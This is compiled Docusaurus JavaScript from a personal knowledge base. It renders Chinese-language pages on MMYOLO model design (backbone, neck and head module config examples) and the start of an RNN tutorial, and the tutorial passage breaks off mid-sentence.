n={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"model_designmd",children:"model_design.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e",children:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e"}),"\n",(0,t.jsx)(n.h2,{id:"yolo-\u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",children:"YOLO \u7cfb\u5217\u6a21\u578b\u57fa\u7c7b"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u56fe\u4e3a RangeKing@GitHub \u63d0\u4f9b\uff0c\u975e\u5e38\u611f\u8c22\uff01"}),"\n",(0,t.jsxs)(n.div,{align:"center",children:["\n",(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/27466624/199999337-0544a4cb-3cbd-4f3e-be26-bcd9e74db7ff.jpg",alt:"\u57fa\u7c7b"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"YOLO \u7cfb\u5217\u7b97\u6cd5\u5927\u90e8\u5206\u91c7\u7528\u4e86\u7edf\u4e00\u7684\u7b97\u6cd5\u642d\u5efa\u7ed3\u6784\uff0c\u5178\u578b\u7684\u5982 Darknet + PAFPN\u3002\u4e3a\u4e86\u8ba9\u7528\u6237\u5feb\u901f\u7406\u89e3 YOLO \u7cfb\u5217\u7b97\u6cd5\u67b6\u6784\uff0c\u6211\u4eec\u7279\u610f\u8bbe\u8ba1\u4e86\u5982\u4e0a\u56fe\u4e2d\u7684 BaseBackbone + BaseYOLONeck \u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u62bd\u8c61 BaseBackbone \u7684\u597d\u5904\u5305\u62ec\uff1a"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5b50\u7c7b\u4e0d\u9700\u8981\u5173\u5fc3 forward \u8fc7\u7a0b\uff0c\u53ea\u8981\u7c7b\u4f3c\u5efa\u9020\u8005\u6a21\u5f0f\u4e00\u6837\u6784\u5efa\u6a21\u578b\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u53ef\u4ee5\u901a\u8fc7\u914d\u7f6e\u5b9e\u73b0\u5b9a\u5236\u63d2\u4ef6\u529f\u80fd\uff0c\u7528\u6237\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u63d2\u5165\u4e00\u4e9b\u7c7b\u4f3c\u6ce8\u610f\u529b\u6a21\u5757\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u6240\u6709\u5b50\u7c7b\u81ea\u52a8\u652f\u6301 frozen \u67d0\u4e9b stage \u548c frozen bn \u529f\u80fd\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u62bd\u8c61 BaseYOLONeck \u4e5f\u6709\u540c\u6837\u597d\u5904\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"basebackbone",children:"BaseBackbone"}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u5bf9\u4e8e P5 \u800c\u8a00\uff0cBaseBackbone \u5305\u62ec 1 \u4e2a stem \u5c42 + 4 \u4e2a stage \u5c42\u7684\u7c7b\u4f3c ResNet \u7684\u57fa\u7840\u7ed3\u6784\uff0c\u4e0d\u540c\u7b97\u6cd5\u7684\u4e3b\u5e72\u7f51\u7edc\u7ee7\u627f BaseBackbone\uff0c\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u5b9e\u73b0\u5185\u90e8\u7684 ",(0,t.jsx)(n.code,{children:"build_xx"})," \u65b9\u6cd5\uff0c\u4f7f\u7528\u81ea\u5b9a\u4e49\u7684\u57fa\u7840\u6a21\u5757\u6765\u6784\u5efa\u6bcf\u4e00\u5c42\u7684\u5185\u90e8\u7ed3\u6784\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"baseyoloneck",children:"BaseYOLONeck"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0e ",(0,t.jsx)(n.code,{children:"BaseBackbone"})," \u7684\u8bbe\u8ba1\u7c7b\u4f3c\uff0c\u6211\u4eec\u4e3a MMYOLO \u7cfb\u5217\u7684 Neck \u5c42\u8fdb\u884c\u4e86\u91cd\u6784\uff0c\u4e3b\u8981\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"Reduce \u5c42"}),"\uff0c ",(0,t.jsx)(n.code,{children:"UpSample \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"TopDown \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"DownSample \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"BottomUP \u5c42"}),"\u4ee5\u53ca",(0,t.jsx)(n.code,{children:"\u8f93\u51fa\u5377\u79ef\u5c42"}),"\uff0c\u6bcf\u4e00\u5c42\u7ed3\u6784\u90fd\u53ef\u4ee5\u901a\u8fc7\u7ee7\u627f\u91cd\u5199 ",(0,t.jsx)(n.code,{children:"build_xx"})," \u65b9\u6cd5\u6765\u5b9e\u73b0\u81ea\u5b9a\u4e49\u7684\u5185\u90e8\u7ed3\u6784\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"basedensehead",children:"BaseDenseHead"}),"\n",(0,t.jsxs)(n.p,{children:["MMYOLO \u7cfb\u5217\u6cbf\u7528 MMDetection \u4e2d\u8bbe\u8ba1\u7684 ",(0,t.jsx)(n.code,{children:"BaseDenseHead"})," \u4f5c\u4e3a\u5176 Head \u7ed3\u6784\u7684\u57fa\u7c7b\uff0c\u4f46\u662f\u8fdb\u4e00\u6b65\u62c6\u5206\u4e86 HeadModule. \u4ee5 YOLOv5 \u4e3a\u4f8b\uff0c\u5176 ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/yolov5_head.py#L24",children:"HeadModule"})," \u4e2d\u7684 forward \u5b9e\u73b0\u4ee3\u66ff\u4e86\u539f\u6709\u7684 forward \u5b9e\u73b0\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"headmodule",children:"HeadModule"}),"\n",(0,t.jsxs)(n.div,{align:"center",children:["\n",(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/33799979/190985845-ed303ad4-3a77-447b-83f9-1feba38d5e24.png",width:"800",alt:"HeadModule"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u865a\u7ebf\u90e8\u5206\u4e3a ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/mmdet/models/dense_heads/base_dense_head.py",children:"MMDetection"})," \u4e2d\u7684\u5b9e\u73b0\uff0c\u5b9e\u7ebf\u90e8\u5206\u4e3a ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/yolov5_head.py",children:"MMYOLO"})," \u4e2d\u7684\u5b9e\u73b0\u3002MMYOLO\u7248\u672c\u4e0e\u539f\u5b9e\u73b0\u76f8\u6bd4\u5177\u5907\u5177\u6709\u4ee5\u4e0b\u4f18\u52bf\uff1a"]}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["MMDetection \u4e2d\u5c06 ",(0,t.jsx)(n.code,{children:"bbox_head"})," \u62c6\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"assigner"})," + ",(0,t.jsx)(n.code,{children:"box coder"})," + ",(0,t.jsx)(n.code,{children:"sampler"})," \u4e09\u4e2a\u5927\u7684\u7ec4\u4ef6\uff0c\u4f46\u7531\u4e8e 3 \u4e2a\u7ec4\u4ef6\u4e4b\u95f4\u7684\u4f20\u9012\u4e3a\u4e86\u901a\u7528\u6027\uff0c\u9700\u8981\u5c01\u88c5\u989d\u5916\u7684\u5bf9\u8c61\u6765\u5904\u7406\uff0c\u7edf\u4e00\u4e4b\u540e\u7528\u6237\u53ef\u4ee5\u4e0d\u7528\u8fdb\u884c\u62c6\u5206\u3002\u4e0d\u523b\u610f\u5f3a\u6c42\u5212\u5206\u4e09\u5927\u7ec4\u4ef6\u7684\u597d\u5904\u4e3a\uff1a\u4e0d\u518d\u9700\u8981\u5bf9\u5185\u90e8\u6570\u636e\u8fdb\u884c\u6570\u636e\u5c01\u88c5\uff0c\u7b80\u5316\u4e86\u4ee3\u7801\u903b\u8f91\uff0c\u51cf\u8f7b\u4e86\u793e\u533a\u4f7f\u7528\u96be\u5ea6\u548c\u7b97\u6cd5\u590d\u73b0\u96be\u5ea6\u3002"]}),"\n",(0,t.jsx)(n.li,{children:"\u901f\u5ea6\u66f4\u5feb\uff0c\u7528\u6237\u5728\u81ea\u5b9a\u4e49\u5b9e\u73b0\u7b97\u6cd5\u65f6\u5019\uff0c\u53ef\u4ee5\u4e0d\u4f9d\u8d56\u4e8e\u539f\u6709\u6846\u67b6\uff0c\u5bf9\u90e8\u5206\u4ee3\u7801\u8fdb\u884c\u6df1\u5ea6\u4f18\u5316\u3002"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u603b\u7684\u6765\u8bf4\uff0c\u5728 MMYOLO \u4e2d\u53ea\u9700\u8981\u505a\u5230\u5c06 ",(0,t.jsx)(n.code,{children:"model"})," + ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u90e8\u5206\u89e3\u8026\uff0c\u7528\u6237\u5c31\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u914d\u7f6e\u5b9e\u73b0\u4efb\u610f\u6a21\u578b\u914d\u5408\u4efb\u610f\u7684 ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u8ba1\u7b97\u8fc7\u7a0b\u3002\u4f8b\u5982\u5c06 YOLOv5 \u6a21\u578b\u5e94\u7528 YOLOX \u7684 ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u7b49\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4ee5 MMDetection \u4e2d YOLOX \u914d\u7f6e\u4e3a\u4f8b\uff0c\u5176 Head \u6a21\u5757\u914d\u7f6e\u5199\u6cd5\u4e3a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"bbox_head=dict(\n type='YOLOXHead',\n num_classes=80,\n in_channels=128,\n feat_channels=128,\n stacked_convs=2,\n strides=(8, 16, 32),\n use_depthwise=False,\n norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),\n act_cfg=dict(type='Swish'),\n ...\n loss_obj=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n reduction='sum',\n loss_weight=1.0),\n loss_l1=dict(type='L1Loss', reduction='sum', loss_weight=1.0)),\ntrain_cfg=dict(assigner=dict(type='SimOTAAssigner', center_radius=2.5)),\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 MMYOLO \u4e2d\u62bd\u53d6 ",(0,t.jsx)(n.code,{children:"head_module"})," \u540e\uff0c\u65b0\u7684\u914d\u7f6e\u5199\u6cd5\u4e3a\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"bbox_head=dict(\n type='YOLOXHead',\n head_module=dict(\n type='YOLOXHeadModule',\n num_classes=80,\n in_channels=256,\n feat_channels=256,\n widen_factor=widen_factor,\n stacked_convs=2,\n featmap_strides=(8, 16, 32),\n use_depthwise=False,\n norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),\n act_cfg=dict(type='SiLU', inplace=True),\n ),\n ...\n loss_obj=dict(\n type='mmdet.CrossEntropyLoss',\n use_sigmoid=True,\n reduction='sum',\n loss_weight=1.0),\n loss_bbox_aux=dict(type='mmdet.L1Loss', reduction='sum', loss_weight=1.0)),\ntrain_cfg=dict(\n assigner=dict(\n type='mmdet.SimOTAAssigner',\n center_radius=2.5,\n iou_calculator=dict(type='mmdet.BboxOverlaps2D'))),\n"})})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/3e89e90d.d0c3459a.js b/en/assets/js/3e89e90d.d0c3459a.js new file mode 100644 index 0000000..a3f7569 --- /dev/null +++ b/en/assets/js/3e89e90d.d0c3459a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8774],{18111:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>l,default:()=>a,frontMatter:()=>h,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218"},"next":{"title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb"}}');var i=t(74848),r=t(28453);const h={},l="RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md",d={},c=[];function o(n){const e={a:"a",code:"code",em:"em",h1:"h1",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"rnn\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0md",children:"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"\u6587\u7ae0\u7ed3\u6784",children:"\u6587\u7ae0\u7ed3\u6784"}),"\n",(0,i.jsx)(e.p,{children:"\u63d0\u53ca RNN\uff0c\u7edd\u5927\u90e8\u5206\u4eba\u90fd\u77e5\u9053\u4ed6\u662f\u4e00\u4e2a\u7528\u4e8e\u5e8f\u5217\u4efb\u52a1\u7684\u795e\u7ecf\u7f51\u7edc\uff0c\u4f1a\u63d0\u53ca\u4ed6\u4fdd\u5b58\u4e86\u65f6\u5e8f\u4fe1\u606f\uff0c\u4f46\u662f\uff0c\u4e3a\u4ec0\u4e48\u9700\u8981\u8003\u8651\u65f6\u5e8f\u7684\u4fe1\u606f\uff1f\u4e3a\u4ec0\u4e48\u8bf4 RNN \u4fdd\u5b58\u4e86\u65f6\u5e8f\u7684\u4fe1\u606f\uff1fRNN\u53c8\u5b58\u5728\u54ea\u4e9b\u95ee\u9898\uff1f \u672c\u7bc7\u5185\u5bb9\u5c06\u6309\u7167\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u5e26\u4f60\u6478\u6e05 RNN \u7684\u7ec6\u8282\u4e4b\u5904\uff0c\u5e76\u4f7f\u7528 PyTorch \u6765\u5b8c\u6210\u4e00\u4e2a\u81ea\u5df1\u7684\u6587\u672c\u5206\u7c7b\u6a21\u578b\u3002"}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsx)(e.li,{children:"\u4e3a\u4ec0\u4e48\u9700\u8981 RNN\uff1f"}),"\n",(0,i.jsx)(e.li,{children:"RNN \u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u7528 RNN \u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1\u3002"}),"\n",(0,i.jsx)(e.li,{children:"RNN \u5b58\u5728\u7684\u95ee\u9898\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.h1,{id:"\u4e3a\u4ec0\u4e48\u9700\u8981-rnn",children:"\u4e3a\u4ec0\u4e48\u9700\u8981 RNN\uff1f"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u73b0\u5b9e\u751f\u6d3b\u7684\u4e16\u754c\u4e2d\uff0c\u6709\u5f88\u591a\u7684\u5185\u5bb9\u662f\u6709\u7740\u524d\u540e\u5173\u7cfb\u7684\uff0c\u6bd4\u5982\u4f60\u6240\u9605\u8bfb\u7684\u8fd9\u6bb5\u6587\u5b57\uff0c\u4ed6\u5e76\u4e0d\u662f\u6beb\u65e0\u7406\u7531\u7684\u968f\u673a\u7ec4\u5408\uff0c\u800c\u662f\u6211\u6784\u601d\u4e4b\u540e\u6309\u987a\u5e8f\u5199\u4e0b\u7684\u4e00\u4e2a\u4e2a\u6587\u5b57\u3002\u9664\u4e86\u6587\u5b57\u4e4b\u5916\uff0c\u4f8b\u5982\u4eba\u7684\u53d1\u97f3\u3001\u7269\u54c1\u7684\u4ef7\u683c\u7684\u66f2\u7ebf\u3001\u6e29\u5ea6\u53d8\u5316\u7b49\u7b49\uff0c\u90fd\u662f\u6709\u7740\u524d\u540e\u987a\u5e8f\u5b58\u5728\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5f88\u660e\u663e\uff0c\u5f53\u77e5\u9053\u4e86\u524d\u9762\u7684\u4fe1\u606f\uff0c\u5c31\u53ef\u4ee5\u5bf9\u540e\u9762\u7684\u4fe1\u606f\u8fdb\u884c\u5408\u7406\u7684\u9884\u6d4b\u3002\u6bd4\u5982\uff0c\u524d\u5341\u5929\u6e29\u5ea6\u90fd\u53ea\u670920\u5ea6\uff0c\u660e\u5929\u7684\u6e29\u5ea6\u65e0\u8bba\u5982\u4f55\u4e0d\u53ef\u80fd\u96f6\u4e0b\uff1b\u8fd9\u4e2a\u5546\u54c1\u4e00\u5e74\u6765\u4ef7\u683c\u90fd\u572830\u5de6\u53f3\u6d6e\u52a8\uff0c\u660e\u5929\u6211\u53bb\u4e70\u4ed6\u7684\u65f6\u5019\uff0c\u51c6\u590740\u5c31\u8db3\u591f\u4e86\uff1b\u8001\u5e08\u5f88\u597d\u7684\u8868\u626c\u4e86\u4f60\uff0c\u7d27\u8ddf\u7740\u8bf4\u4e86\u4e00\u4e2a\u4f46\u662f\uff0c\u4f60\u5c31\u77e5\u9053\u4ed6\u7684\u5185\u5bb9\u8981\u5f00\u59cb\u8f6c\u6298\u4e86\u3002\u8fd9\u5c31\u662f\u9690\u85cf\u5728\u65e5\u5e38\u751f\u6d3b\u4e2d\u7684\u5e8f\u5217\u4fe1\u606f\uff0c\u56e0\u4e3a\u5df2\u7ecf\u77e5\u9053\u4e86\u524d\u9762\u53d1\u751f\u7684\u5185\u5bb9\uff0c\u6240\u4ee5\u624d\u53ef\u4ee5\u63a8\u7406\u540e\u9762\u7684\u5185\u5bb9\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u90a3\u4e48\uff0c\u53ef\u4ee5\u7528\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\u6765\u5904\u7406\u5e8f\u5217\u95ee\u9898\u5417\uff1f\u6309\u7167\u57fa\u672c\u7684\u591a\u5c42\u611f\u77e5\u673a\u6a21\u578b\u65b9\u6848\u6765\u5b9e\u73b0\uff0c\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a\u5c06\u5e8f\u5217\u8f93\u5165\u56fa\u5b9a\u6210\u4e00\u4e2a $d$ \u7ef4\u5411\u91cf\uff0c\u5c31\u53ef\u4ee5\u9001\u5165\u591a\u5c42\u611f\u77e5\u673a\u8fdb\u884c\u5b66\u4e60\uff0c\u5f62\u5982\u516c\u5f0f\uff1a\n$$\n\\mathbf{H} = \\phi(\\mathbf{X} \\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh} + \\mathbf{b}"}),"{h})\n$$\n\u516c\u5f0f\u4e2d\uff0c $\\phi$ \u8868\u793a\u6fc0\u6d3b\u51fd\u6570\uff0c$\\mathbf{X} \\in \\mathbb{R}^{n \\times d}$ \u8868\u793a\u4e00\u7ec4\u5c0f\u6279\u91cf\u6837\u672c\uff0c\u5176\u4e2d $n$ \u662f\u6837\u672c\u5927\u5c0f\uff0c $d$ \u8868\u793a\u8f93\u5165\u7684\u7279\u5f81\u7ef4\u5ea6\u3002\uff1a$\\mathbf{W}_{xh} \\in \\mathbb{R}^{d \\times h}$\u8868\u793a\u6a21\u578b\u6743\u91cd\u53c2\u6570\uff0c$d \\in \\mathbb{R}^{1 \\times h}$\u8868\u793a\u6a21\u578b\u504f\u7f6e\u3002\u6700\u540e\u53ef\u4ee5\u5f97\u5230\u9690\u85cf\u5c42\u8f93\u5165\uff1a$\\mathbf{H} \\in \\mathbb{R}^{n \\times h}$\uff0c\u5176\u4e2d $h$ \u8868\u793a\u9690\u85cf\u5c42\u5927\u5c0f\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u7d27\u63a5\u7740\uff0c\u6a21\u578b\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u516c\u5f0f\u8fdb\u884c\u8ba1\u7b97\uff0c\u5f97\u5230\u8f93\u51fa\uff1a\n$$\n\\mathbf{O} = \\mathbf{H}\\mathbf{W}_{hq} + \\mathbf{b}_q\n$$\n\u5176\u4e2d\uff0c$\\mathbf{O} \\in \\mathbb{R}^{n \\times q}$ \u4e3a\u6a21\u578b\u8f93\u51fa\u53d8\u91cf\uff0c$q$ \u8868\u793a\u8f93\u51fa\u5c42\u5411\u91cf\uff0c\u7531\u4e8e\u672c\u6b21\u7684\u4efb\u52a1\u662f\u4e00\u4e2a\u6587\u672c\u5206\u7c7b\u4efb\u52a1\uff0c\u90a3\u8fd9\u91cc $q$ \u5c31\u8868\u793a\u6587\u672c\u7c7b\u522b\uff0c\u53ef\u4ee5\u4f7f\u7528 $\\mathbf{Softmax(O)}$ \u6765\u8fdb\u884c\u6982\u7387\u9884\u6d4b\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f46\u662f\uff0c\u4e0a\u9762\u7684\u6d41\u7a0b\u6709\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u524d\u7f6e\u6761\u4ef6\uff1a",(0,i.jsx)(e.strong,{children:"\u56fa\u5b9a\u6210 $d$ \u7ef4\u5411\u91cf"}),"\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\uff0c\u662f\u4e0d\u80fd\u5bf9\u53d8\u957f\u5e8f\u5217\u8fdb\u884c\u5904\u7406\u7684\u3002\u4f46\u662f\uff0c",(0,i.jsx)(e.strong,{children:"\u5728\u5e8f\u5217\u4efb\u52a1\u4e2d\uff0c\u5e8f\u5217\u957f\u77ed\u5f88\u660e\u663e\u662f\u5e76\u4e0d\u76f8\u540c\u7684"}),"\uff0c\u4e0d\u4ec5\u9700\u8981\u7528\u4e00\u5929\u7684\u6570\u636e\u9884\u6d4b\u660e\u5929\u7684\u7ed3\u679c\uff0c\u4e5f\u53ef\u80fd\u9700\u8981\u62ff\u4e00\u5e74\u7684\u6570\u636e\u9884\u6d4b\u660e\u5929\u7684\u7ed3\u679c\u3002\u5728\u8fd9\u6837\u7684\u60c5\u51b5\u4e0b\uff0c\u5982\u679c\u8fd8\u60f3\u8981\u4f7f\u7528\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\uff0c\u5c31\u4f1a\u9762\u4e34\u7740\u4e00\u4e2a\u5de8\u5927\u7684\u95ee\u9898\uff1a\u5982\u4f55\u5c06\u4e00\u5929\u7684\u5185\u5bb9\u4e0e\u4e00\u5e74\u7684\u5185\u5bb9\u53d8\u5316\u6210\u76f8\u540c\u7684 $d$ \u7ef4\u5411\u91cf\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u9664\u6b64\u4e4b\u5916\uff0c\u5e8f\u5217\u4fe1\u606f\u53ef\u80fd\u8fd8\u6709\u53e6\u5916\u4e00\u4e2a\u60c5\u51b5\uff1a",(0,i.jsx)(e.strong,{children:"\u67d0\u4e9b\u4fe1\u606f\u53ef\u80fd\u51fa\u73b0\u5728\u5e8f\u5217\u7684\u4e0d\u540c\u4f4d\u7f6e\u3002\u867d\u7136\u4fe1\u606f\u51fa\u73b0\u5728\u4e0d\u540c\u7684\u4f4d\u7f6e\uff0c\u4f46\u662f\u4ed6\u53ef\u80fd\u8868\u8fbe\u51fa\u4e86\u76f8\u540c\u7684\u542b\u4e49"}),"\u3002"]}),"\n",(0,i.jsx)(e.p,{children:'\u4e3e\u4f8b\u6765\u8bf4\uff1a\u5f53\u6211\u4eec\u548c\u8001\u5e08\u8c08\u8bdd\u65f6\uff0c\u5982\u679c\u4ed6\u8868\u626c\u4e86\u6211\u4eec\u534a\u5c0f\u65f6\uff0c\u7136\u540e\u8bf4\uff1a"\u4f46\u662f..."\uff0c\u6211\u4eec\u5f80\u5f80\u662f\u4e0d\u62c5\u5fc3\u7684\uff0c\u56e0\u4e3a\u4ed6\u53ef\u80fd\u53ea\u662f